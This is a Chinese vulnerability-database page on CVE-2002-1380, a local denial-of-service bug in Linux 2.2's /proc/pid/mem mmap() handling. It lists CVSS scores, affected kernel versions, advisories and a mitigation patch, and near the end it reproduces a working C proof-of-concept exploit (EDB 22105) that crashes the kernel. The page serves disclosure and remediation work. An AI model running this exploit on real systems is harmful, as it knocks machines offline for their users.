CVE-2002-1380
CVSS2.1
发布时间 :2002-12-23 00:00:00
修订时间 :2008-09-10 15:14:26
NMCOE    

[原文]Linux kernel 2.2.x allows local users to cause a denial of service (crash) by using the mmap() function with a PROT_READ parameter to access non-readable memory pages through the /proc/pid/mem interface.


[CNNVD]Linux /proc//mem mmap()内核崩溃漏洞(CNNVD-200212-055)

        
        Linux kernel是开放源代码Linux操作系统内核,/proc/pid/mem接口设计用于某一应用程序在某些情况下可以方便的访问另一应用程序内存。这个功能对开发人员或管理员在运行的系统中调试或分析程序非常有用。其中之一访问内存的方法是直接使用mmap()映射页面。
        直接使用mmap()映射页面访问内存方法缺少充分的验证,本地攻击者可以利用这个漏洞请求访问不可读进程使系统内核崩溃。
        用户可以使用mmap()接口访问被跟踪进程本来没有权限读取的内存,用户可以传递PROT_READ参数给这个调用,请求读访问这个映射,由于不充分的验证检查,恶意用户可以把映射标记为可读,这样用户可以请求他的实例可被内核读取,造成系统崩溃。
        

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:linux:linux_kernel:2.2.19Linux Kernel 2.2.19
cpe:/o:linux:linux_kernel:2.2.2Linux Kernel 2.2.2
cpe:/o:linux:linux_kernel:2.2.9Linux Kernel 2.2.9
cpe:/o:linux:linux_kernel:2.2.23Linux Kernel 2.2.23
cpe:/o:linux:linux_kernel:2.2.1Linux Kernel 2.2.1
cpe:/o:linux:linux_kernel:2.2.14Linux Kernel 2.2.14
cpe:/o:linux:linux_kernel:2.2.12Linux Kernel 2.2.12
cpe:/o:linux:linux_kernel:2.2.22Linux Kernel 2.2.22
cpe:/o:linux:linux_kernel:2.2.13Linux Kernel 2.2.13
cpe:/o:linux:linux_kernel:2.2.15Linux Kernel 2.2.15
cpe:/o:linux:linux_kernel:2.2.6Linux Kernel 2.2.6
cpe:/o:linux:linux_kernel:2.2.20Linux Kernel 2.2.20
cpe:/o:linux:linux_kernel:2.2.16Linux Kernel 2.2.16
cpe:/o:linux:linux_kernel:2.2.7Linux Kernel 2.2.7
cpe:/o:linux:linux_kernel:2.2.21Linux Kernel 2.2.21
cpe:/o:linux:linux_kernel:2.2.5Linux Kernel 2.2.5
cpe:/o:linux:linux_kernel:2.2.3Linux Kernel 2.2.3
cpe:/o:linux:linux_kernel:2.2.4Linux Kernel 2.2.4
cpe:/o:linux:linux_kernel:2.2.10Linux Kernel 2.2.10
cpe:/o:linux:linux_kernel:2.2.11Linux Kernel 2.2.11
cpe:/o:linux:linux_kernel:2.2.8Linux Kernel 2.2.8
cpe:/o:linux:linux_kernel:2.2.18Linux Kernel 2.2.18
cpe:/o:linux:linux_kernel:2.2.17Linux Kernel 2.2.17

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1380
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1380
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-055
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/6420
(VENDOR_ADVISORY)  BID  6420
http://xforce.iss.net/xforce/xfdb/10884
(UNKNOWN)  XF  linux-protread-mmap-dos(10884)
http://www.trustix.net/errata/misc/2002/TSL-2002-0083-kernel.asc.txt
(UNKNOWN)  TRUSTIX  2002-0083
http://www.redhat.com/support/errata/RHSA-2003-088.html
(UNKNOWN)  REDHAT  RHSA-2003:088
http://www.mandrakesoft.com/security/advisories?name=MDKSA-2003:039
(UNKNOWN)  MANDRAKE  MDKSA-2003:039
http://www.linuxsecurity.com/advisories/engarde_advisory-2976.html
(UNKNOWN)  ENGARDE  ESA-20030318-009
http://www.debian.org/security/2003/dsa-336
(UNKNOWN)  DEBIAN  DSA-336

- 漏洞信息

Linux /proc//mem mmap()内核崩溃漏洞
低危 未知
2002-12-23 00:00:00 2005-05-13 00:00:00
本地  
        
        Linux kernel是开放源代码Linux操作系统内核,/proc/pid/mem接口设计用于某一应用程序在某些情况下可以方便的访问另一应用程序内存。这个功能对开发人员或管理员在运行的系统中调试或分析程序非常有用。其中之一访问内存的方法是直接使用mmap()映射页面。
        直接使用mmap()映射页面访问内存方法缺少充分的验证,本地攻击者可以利用这个漏洞请求访问不可读进程使系统内核崩溃。
        用户可以使用mmap()接口访问被跟踪进程本来没有权限读取的内存,用户可以传递PROT_READ参数给这个调用,请求读访问这个映射,由于不充分的验证检查,恶意用户可以把映射标记为可读,这样用户可以请求他的实例可被内核读取,造成系统崩溃。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 限制ptrace()或/proc的访问,多种安全增强补丁如Openwall或grsecurity提供限制实现。
        * RAZOR提供如下第三方补丁:
        --- linux-2.2/fs/proc/mem.c.old Sun Mar 25 08:30:58 2001
        +++ linux-2.2/fs/proc/mem.c Tue Dec 10 14:29:05 2002
        @@ -323,7 +323,7 @@
         NULL, /* mem_readdir */
         NULL, /* mem_poll */
         NULL, /* mem_ioctl */
        - mem_mmap, /* mmap */
        + NULL, /* mmap */
         NULL, /* no special open code */
         NULL, /* flush */
         NULL, /* no special release code */
        
        * 管理员如果想不重新编译和重启系统对系统进行修补,和所有用户不能使用ptrace()接口,可以采用可装载内核模块来关闭普通用户对ptrace()的访问,其中一个补丁可从如下地址获得:
        
        http://www.securiteam.com/tools/5SP082K5GK.html

        厂商补丁:
        Linux
        -----
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.kernel.org/

- 漏洞信息 (22105)

Linux Kernel 2.2 mmap() Local Denial of Service Vulnerability (EDBID:22105)
linux local
2002-12-17 Verified
0 Michal Zalewski
N/A [点击下载]
source: http://www.securityfocus.com/bid/6420/info

A denial of service vulnerability has been discovered in the Linux 2.2 kernel. It has been reported that it is possible for an unprivileged user to cause the kernel to stop responding due to a bug in the implementation of mmap().

It should be noted that this issue does not affect the 2.4 kernel tree. This is because support for mmap() in the /proc/pid/mem implementation has been dropped. 

   #define PAGES 10

   #include <asm/page.h>
   #include <sys/mman.h>
   #include <unistd.h>
   #include <stdio.h>
   #include <fcntl.h>
   #include <sys/ptrace.h>

   int main() {
     int ad1,ad2,zer,mem,pid,i;
     zer=open("/dev/zero",O_RDONLY);
     ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
     pid=getpid();
     if (!fork()) {
       char p[64];
       ptrace(PTRACE_ATTACH,pid,0,0);
       sleep(1);
       sprintf(p,"/proc/%d/mem",pid);
       mem=open(p,O_RDONLY);
       ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
       write(1,(char*)ad2,PAGES*PAGE_SIZE);
     }
     sleep(100);
     return 0;
   }
		

- 漏洞信息

9590
Linux Kernel mmap() Function PROT_READ Parameter Local DoS
Denial of Service
Loss of Availability

- 漏洞描述

Unknown or Incomplete

- 时间线

2002-12-17 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站